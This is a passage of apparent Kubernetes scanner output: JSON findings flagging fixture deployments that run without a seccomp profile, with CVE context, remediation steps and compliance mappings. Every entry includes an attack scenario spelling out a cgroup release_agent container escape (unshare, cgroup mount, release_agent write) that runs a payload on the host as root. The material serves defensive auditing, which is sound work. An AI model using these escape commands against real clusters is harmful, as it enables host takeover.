    "description": "Container `app` in `Deployment/rbac-fixtures/imp-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "imp-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/rbac-fixtures/imp-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n rbac-fixtures \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/imp-app -n rbac-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:rbac-fixtures:wildcard-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/rbac-fixtures/wildcard-app`",
    "description": "Container `app` in `Deployment/rbac-fixtures/wildcard-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "wildcard-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/rbac-fixtures/wildcard-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n rbac-fixtures \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/wildcard-app -n rbac-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:statusspoof-fixtures:statusspoof-api:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/statusspoof-fixtures/statusspoof-api`",
    "description": "Container `app` in `Deployment/statusspoof-fixtures/statusspoof-api` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "statusspoof-api",
      "namespace": "statusspoof-fixtures",
      "api_group": "apps"
    },
    "namespace": "statusspoof-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/statusspoof-fixtures/statusspoof-api`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n statusspoof-fixtures \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/statusspoof-api -n statusspoof-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:vulnerable:generic-hostpath-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/vulnerable/generic-hostpath-app`",
    "description": "Container `app` in `Deployment/vulnerable/generic-hostpath-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "generic-hostpath-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/generic-hostpath-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n vulnerable \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/generic-hostpath-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:vulnerable:host-ns-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/vulnerable/host-ns-app`",
    "description": "Container `app` in `Deployment/vulnerable/host-ns-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "host-ns-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/host-ns-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n vulnerable \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/host-ns-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:vulnerable:risky-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/vulnerable/risky-app`",
